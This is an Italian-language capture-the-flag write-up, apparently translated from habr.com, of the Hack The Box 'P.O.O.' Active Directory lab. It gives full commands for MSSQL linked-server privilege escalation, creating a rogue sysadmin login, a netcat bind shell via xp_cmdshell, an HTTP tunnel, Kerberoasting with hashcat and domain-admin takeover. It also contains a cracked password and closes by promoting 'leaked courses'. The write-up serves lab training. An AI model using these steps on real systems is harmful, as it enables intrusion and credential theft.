In questo articolo discuteremo il passaggio non solo di una macchina, ma di un'intera mini-laboratorio dalla piattaforma .
Come descritto nella descrizione, P.O.O. è destinato a testare le competenze in tutte le fasi degli attacchi in un piccolo ambiente Active Directory. L'obiettivo è compromettere l'host accessibile, elevare i privilegi e, infine, compromettere l'intero dominio, raccogliendo nel contempo 5 bandiere.
La connessione al laboratorio avviene tramite VPN. Si raccomanda di non connettersi da un computer di lavoro o da un host dove sono presenti dati importanti per te, poiché entrerai in una rete privata con persone che sanno cosa fare nel campo della sicurezza informatica 🙂
Informazioni organizzative
Affinché possiate rimanere aggiornati su nuovi articoli, software e altre informazioni, ho creato e nel campo della sicurezza informatica. Inoltre, le vostre richieste personali, domande, proposte e raccomandazioni .
Tutte le informazioni sono presentate esclusivamente a scopi educativi. L'autore di questo documento non si assume alcuna responsabilità per eventuali danni causati a chiunque in seguito all'uso delle conoscenze e dei metodi acquisiti tramite questo documento.
Intro
Questo endgame è composto da due macchine e contiene 5 bandiere.
Viene inoltre fornita una descrizione e un indirizzo dell'host accessibile.
Iniziamo!
Recon flag
Questa macchina ha come indirizzo IP 10.13.38.11, che aggiungo in /etc/hosts.
10.13.38.11 poo.htb
Per prima cosa, scansioniamo le porte aperte. Poiché scansionare tutte le porte con nmap è lento, lo farò inizialmente usando masscan. Scansioniamo tutte le porte TCP e UDP dall'interfaccia tun0 a una velocità di 500 pacchetti al secondo.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Ora, per ottenere informazioni più dettagliate sui servizi attivi sulle porte, avviamo una scansione con l'opzione -A.
nmap -A poo.htb -p80,1433 
Così abbiamo i servizi IIS e MSSQL. Scopriamo anche il vero nome DNS del dominio e del computer. Sul server web ci accoglie la homepage di IIS.
Passiamo in rassegna le directory. Per questo utilizzo gobuster. Nelle opzioni indichiamo il numero di thread 128 (-t), URL (-u), dizionario (-w) e le estensioni di interesse (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Abbiamo quindi l'autenticazione HTTP per la directory /admin, oltre a un file di archiviazione della desktop service disponibile .DS_Store. .DS_Store sono file in cui vengono memorizzate le impostazioni utente per la cartella, come l'elenco dei file, la posizione delle icone, l'immagine di sfondo selezionata. Un file di questo tipo può trovarsi nella directory del server web per gli sviluppatori web. Così otteniamo informazioni sul contenuto della directory. Per questo possiamo usare .
python3 dsstore_crawler.py -i http://poo.htb/ 
Stiamo ottenendo il contenuto del catalogo. La cosa più interessante qui è il catalogo /dev, dove possiamo dare un'occhiata ai sorgenti e ai file db in due rami. Ma possiamo rilevare i primi 6 caratteri dei nomi dei file e delle directory, se il servizio è vulnerabile a IIS ShortName. Possiamo verificare la presenza di questa vulnerabilità usando .
E troviamo un file di testo che inizia con «poo_co». Non sapendo cosa fare dopo, ho semplicemente estratto dal dizionario delle directory tutte le parole che iniziano con «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtE eseguiamo un ciclo utilizzando wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
E troviamo la parola giusta! Controlliamo questo file, salvando le credenziali (a giudicare dal parametro DBNAME, provengono da MSSQL).
Consegniamo la flag e avanziamo del 20%.
Huh flag
Ci connettiamo a MSSQL, uso DBeaver.
Non troviamo nulla di interessante in questo database, creiamo un editor SQL e verifichiamo quali utenti ci sono.
SELECT name FROM master..syslogins; 
Abbiamo due utenti. Andiamo a controllare i propri privilegi.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Quindi, non abbiamo alcun privilegio. Diamo un'occhiata ai server collegati, ho scritto dettagliatamente su questo metodo. .
SELECT * FROM master..sysservers; 
Così troviamo un altro SQL Server. Controlliamo l'esecuzione dei comandi su questo server utilizzando openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
E possiamo anche costruire un albero di query.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Il fatto è che quando eseguiamo una query su un server collegato, la query viene eseguita nel contesto di un altro utente! Diamo un'occhiata a quale utente stiamo lavorando sul server collegato.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
E ora vediamo in quale contesto vengono eseguite le query dal server collegato al nostro!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Quindi, questo è il contesto DBO, che dovrebbe avere tutti i privilegi. Controlliamo i privilegi nel caso di una query dal server collegato.
SELEZIONA * DA openquery("COMPATIBILITYPOO_CONFIG", 'SELEZIONA * DA openquery("COMPATIBILITYPOO_PUBLIC", ''SELEZIONA is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Come puoi notare, abbiamo tutti i privilegi! Creiamo il nostro admin. Ma non si può fare tramite openquery, quindi facciamolo tramite EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";E ora ci connettiamo con le credenziali del nuovo utente, osservando il nuovo database flag.
Accettiamo questo flag e andiamo oltre.
BackTrack flag
Ottenere una shell tramite MSSQL, utilizzo mssqlclient dal pacchetto impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Dobbiamo ottenere le password, e la prima cosa che abbiamo già incontrato è il sito. Quindi abbiamo bisogno della configurazione del server web (sembra che il firewall impedisca di lanciare una shell conveniente).
Ma l'accesso è negato. Anche se possiamo leggere un file da MSSQL, serve solo sapere quali linguaggi di programmazione sono configurati. E nella directory MSSQL scopriamo che c'è Python.
Allora leggere il file web.config non crea problemi.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Con le credenziali trovate accederemo a /admin e prenderemo il flag.
Foothold flag
In realtà ci sono alcuni inconvenienti nell'uso del firewall, ma esaminando le impostazioni di rete, notiamo che è utilizzato anche un tunnel IPv6!
Aggiungiamo questo indirizzo in /etc/hosts.
dead:babe::1001 poo6.htb
Facciamo di nuovo una scansione dell'host, ma tramite il protocollo IPv6.
E tramite IPv6 è disponibile il servizio WinRM. Ci connettiamo con le credenziali trovate.
Sulla scrivania c'è un flag, lo accettiamo.
P00ned flag
Dopo aver effettuato un'analisi sull'host utilizzando non troviamo nulla di particolare. Quindi si è deciso di cercare nuovamente le credenziali (su questo argomento ho scritto anche io ). Ma non sono riuscito a ottenere tutti gli SPN dal sistema tramite WinRM.
setspn.exe -T intranet.poo -Q *
* 
Eseguiamo il comando tramite MSSQL.
In questo modo otteniamo SPN per gli utenti p00_hr e p00_adm, il che significa che sono vulnerabili a un attacco come il Kerberoasting. In breve, possiamo ottenere gli hash delle loro password.
Per iniziare, dobbiamo ottenere una shell stabile con l'utente MSSQL. Ma poiché abbiamo limitazioni di accesso, abbiamo connessione al host solo tramite le porte 80 e 1433. Ma c'è la possibilità di tunnelare il traffico attraverso la porta 80! Per questo utilizzeremo . Carichiamo il file tunnel.aspx nella directory home del server web — C:inetpubwwwroot.
Ma quando proviamo ad accedervi otteniamo un errore 404. Questo significa che i file *.aspx non vengono eseguiti. Per rendere eseguibili i file con questa estensione, installeremo ASP.NET 4.5 come segue.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
E ora, quando accediamo a tunnel.aspx, otteniamo risposta che è tutto pronto per lavorare.
Avviamo la parte client dell'applicazione, che si occuperà della ritrasmissione del traffico. Invieremo tutto il traffico dalla porta 5432 al server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
E utilizziamo proxychains per inviare il traffico di qualsiasi applicazione tramite il nostro proxy. Aggiungiamo questo proxy nel file di configurazione /etc/proxychains.conf.
Ora carichiamo sul server il programma , con cui creeremo una shell bind stabile, e lo script , con il quale eseguiremo l'attacco di Kerberoasting.
Ora avviamo il listener tramite MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
E ci connettiamo tramite il nostro proxy.
proxychains rlwrap nc poo.htb 4321 
E ora otteniamo gli hash.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Dobbiamo ora esaminare questi hash. Poiché nella lista rockyou non c'erano queste password, ho usato TUTTE le liste di password fornite in Seclists. Useremo hashcat per il cracking.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceE troviamo entrambe le password, la prima nella lista dutch_passwordlist.txt e la seconda in Keyboard-Combinations.txt.
E così abbiamo tre utenti, andiamo al controller di dominio. Iniziamo scoprendo il suo indirizzo.
Ottimo, abbiamo scoperto l'indirizzo IP del controller del dominio. Scopriamo tutti gli utenti del dominio e chi di essi è l'amministratore. Carichiamo lo script PowerView.ps1 per ottenere informazioni. Poi ci connetteremo usando evil-winrm, specificando nella parametro -s la directory contenente lo script. Infine, caricheremo semplicemente lo script PowerView.
Ora abbiamo accesso a tutte le sue funzioni. L'utente p00_adm sembra avere privilegi, quindi lavoreremo nel suo contesto. Creiamo un oggetto PSCredential per questo utente.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassOra tutti i comandi Powershell in cui specificheremo Creds verranno eseguiti a nome di p00_adm. Diamo un'occhiata all'elenco degli utenti e all'attributo AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Quindi, il nostro utente è effettivamente privilegiato. Diamo un'occhiata ai gruppi di cui fa parte.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Confermiamo definitivamente che l'utente è un amministratore di dominio. Questo gli dà il diritto di accesso remoto al controller di dominio. Proviamo a connetterci tramite WinRM, usando il nostro tunnel. Sono state segnalate delle errori da reGeorg durante l'uso di evil-winrm.
Allora usiamo un altro, più semplice, per connetterci a WinRM. Apriamo e cambiamo le impostazioni di connessione.
Proviamo a connetterci ed eccoci nel sistema.
Ma non ci sono bandiere. Allora controlliamo l'utente e verifichiamo i desktop.
Troviamo la bandiera da mr3ks e il laboratorio è completato al 100%.
Ecco fatto. Come feedback, commentate — avete imparato qualcosa di nuovo da questo articolo e vi è stato utile?
Potete unirvi a noi in . Lì troverete materiali interessanti, corsi leakati e software. Costruiamo una comunità in cui ci siano persone esperte in vari settori IT, così possiamo sempre aiutarci a vicenda con qualsiasi questione IT e di sicurezza.
Fonte: habr.com
